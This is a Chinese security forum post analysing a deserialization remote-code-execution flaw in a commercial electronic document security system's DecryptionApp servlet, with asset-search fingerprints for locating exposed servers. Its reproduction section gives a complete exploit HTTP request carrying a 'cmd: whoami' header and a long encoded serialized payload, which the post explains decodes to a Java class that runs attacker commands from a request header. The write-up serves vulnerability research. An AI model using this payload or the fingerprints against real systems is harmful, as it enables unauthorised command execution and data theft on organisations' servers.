问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某通电子文档安全管理系统DecryptionApp反序列化漏洞RCE
漏洞分析
某通是使用了servlet框架,一般都是先去web.xml寻找相关路由进而确定代码的位置
某通电子文档安全管理系统DecryptionApp反序列化漏洞RCE ================================== **前情提要**:某通是使用了servlet框架,一般都是先去web.xml寻找相关路由进而确定代码的位置 影响版本 ---- V5.6.3.152.186 20240811之前 产品简介 ---- 某通电子文档安全管理系统是一款综合性的数据智能安全产品,涵盖了透明加密、数据分类分级、访问控制等多项核心技术。该系统保护范围广泛,包括终端电脑、智能终端以及各类应用系统,能有效防止数据泄露,满足数据安全合规要求。该系统采用事前主动防御、事中实时控制、事后及时追踪的设计理念,全方位保障用户终端数据安全。此外,亿赛通在信息安全行业享有良好声誉,服务、售后等方面均表现出色。 资产测绘 ---- body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp" ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-40a35bd4cd338b51112eed08aff447339550fb70.png) 代码分析 ---- 首先进入到WEB\_INF的web.xml文件中,ctrl+F搜索`DecryptionApp` ![image-20240812154352756](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-ce93b1cc17cb03c3afe6c293d3ad53bc30125569.png) ctrl点击进入到该这个`com.esafenet.workflow.servlet.DecryptionAppServlet`中,该类继承了`HttpServlet`类,那我们重点关注的就是前端交互的方法即`service`方法中,在该方法中有我们可以控制的参数`request` ![image-20240812154512539](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-282ff9441194eff476c8a20ae4e793721c046584.png) 现在就详细分析下这个`service`方法中的内容 ![image-20240812155048535](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-4a5707673e80914657c037a35e25a197d0ec1ca6.png) **分析**:我们先分析从65-83行的内容,该部分就是先后创建了以一个实体类`DecryptionApp`,一个List列表,一个实体类`DecryptionAppResp`,之后从前端传过来的数据`request`利用`getXMLFromRequest`方法提取XML格式的字符串数据并利用`fromXML`其将转换为一个`DecryptionApp`对象将其赋值给`dec` 接着分析84-109行 ![image-20240812155704650](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-18393d012e15b383b0d1f6161599a3e7c6957416.png) **分析**:先后创建了`Flow`和`FlowDetail`的实例化对象,这两个类都继承了`Serializable`接口,之后获取dec的`UserName`和`Files`的值并且设置了`APPDate`,接着判断list参数是否为空,不为空就是进入for循环中。该for循环中处理了与审批流程相关的文件上传(即list列表中的内容),它检查文件是否重复,若存在这向前端发送相关的XML数据,若不存在就构建出文件路径和列表字符串。 ![image-20240812164028115](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-b7c9ae25df3f15751694c417053eb553b677c03e.png) 该代码并没有对前端的数据进行任何的过滤只是进行了简单的数据库查重,这就触发了我们的文件上传漏洞,同时这个Flow类继承了Serialization的接口存在反序列化漏洞 接着从111-270行,因为内容太多并且对我们的漏洞利用没有太大作用我们就简单说一下,这段代码就是处理了工作流(Flow)相关的审批流程包括了审批者的确定、审批级别的分配以及审批状态的初始化 ![image-20240812161608658](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-cf55acd8cff464086e32e8c07c002d29eec809db.png) 接着就是到265-297代码的分析 ![image-20240812163514010](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-c4c9f2382cde2e94d09c75cf28f08c597c36c8f6.png) **分析**:该部分的内容就是将模板名称、标志位以及之前的文件列表字符串设置到工作流对象flow对象中,接着就是进行sql数据库的连接以及调用`flowDao`的`addFlow`方法将`flow`对象添加到数据库。如果操作成功最后将我们的数据以XML的形式反应给前端 总结 -- 该漏洞的形成利用了两个点 1. 在对前端输入的内容中,没有对文件的内容等方法方面进行相关的限制,导致可以上传任意的文件 2. Flow类中继承了`serialize`接口,我们在上传的参数中若存在序列化的内容即可利用它来进行反序列操作,进而造成相关数据的窃取 漏洞复现 ---- **poc** ```php POST /CDGServer3/DecryptionApp?command=GETSYSTEMINFO HTTP/1.1 Host: your-ip User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Connection: close Content-Type: text/xml cmd: whoami NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOB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NHDLMHDPNKGIBANJJHCFLIMKPFOAIEDBDMIBEEPIHODEOLGAJHBNEOGCKIBMGIMJKLAOFAIACFJGOFEIBIOOPDCDCNFIOGCDKEGHEIAOBDCKLLGMEOEKIEHCEBFKAGOLFGCMNLNMJCNJMDBHMDPEGHHFKOJDDAPPHJMBLBDODOHKPNABBMBHMCCMKINKJLCIFBIPCENLPLOFOAJPEFHCDEOGLGFHNOBFFLHDMHNEFAIPMBJJMIIDAEAJAKGDIHIOIPIOPBJKOLEHJLBIOLGLBMHNCNDAHOGDOILIJANBPNLPPKCOKJFJPCLFJPGKDCBMGEOGGGANMMKDILOMJJLPKJJCOPFKPFAHNAIMDOKPCIKNEMFGMGCOGGMKBIBDEKDAKBPBJKPAFGODBFLGADBFNMDAHGLDGNFLLBONBDLAAOIIICMHIPDJCMHBGLFJAIMIBHABENMJOEHJLKGIIJDBBEHFJCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMGOPFDMJHCMOGLKPICOEEDDKPAHLEGOMDMDFLKFECCPILAKGLGDEMGMGEPODAGGJPPNDCHOBPHJKBDAKECOBIOJGKDMBKDBFPEGIGNOBDGELAENFFLCBKHHJADGFGCBAINLJPDMOBGLNNHAOBHGLGMMLDHGINFFOLLALGGAADPGMNJDMNOLKINDIKKIHJKDEKFAJDHPHNGAIBGNAODMICFEFCCHDPGMLJOGIJCIOOMMGEKPILGPFJOCMKILLFGPEAIBIDBGNPPDHLLAHMKLEJBJFBFPFBDNEJCNPK ``` ![微信图片_20240812164526](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-f332cbda597055d35ef00d64a225a035a64a5f53.png) ### poc的分析 相信大家在这里或多或少对这个poc不大理解,我们对该poc分析一下 我们使用工具对该poc进行解码操作,得到如下内容 ![image-20240812164946571](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-d62fcb8b64250df002a069cb620aa04d672c5c55.png) ![image-20240812170153604](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-770336be303319bf6b567a863a032a6f4a6b1571.png) 在``发现了类似于base64编码的内容,我们对其进行解码操作,发现解码之后是一个.class文件 ![微信图片_20240812165145](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-000cc1846d1da30b2b5ef196d2650c051b167401.png) 接着我们利用反编译工具对该.class文件进行反编译操作,得到如下内容 ![image-20240812165405021](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-ad6f43f6f5c6e1d356f3c4de6d357d738e0431f3.png) 分析:该段代码它包含了一个后门,允许攻击者在请求头中发送一个cmd的参数,代码获取名为`cmd`的请求头的值,之后根据操作系统类型(Linux或Windows),`exec()`方法构造不同的命令执行格式。攻击者可以输入一些危险的指令进而获取到对方的一些敏感信息
发表于 2024-08-28 10:14:33
阅读 ( 3342 )
分类:
OA产品
1 推荐
收藏
0 条评论
请先
登录
后评论
xhys
12 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!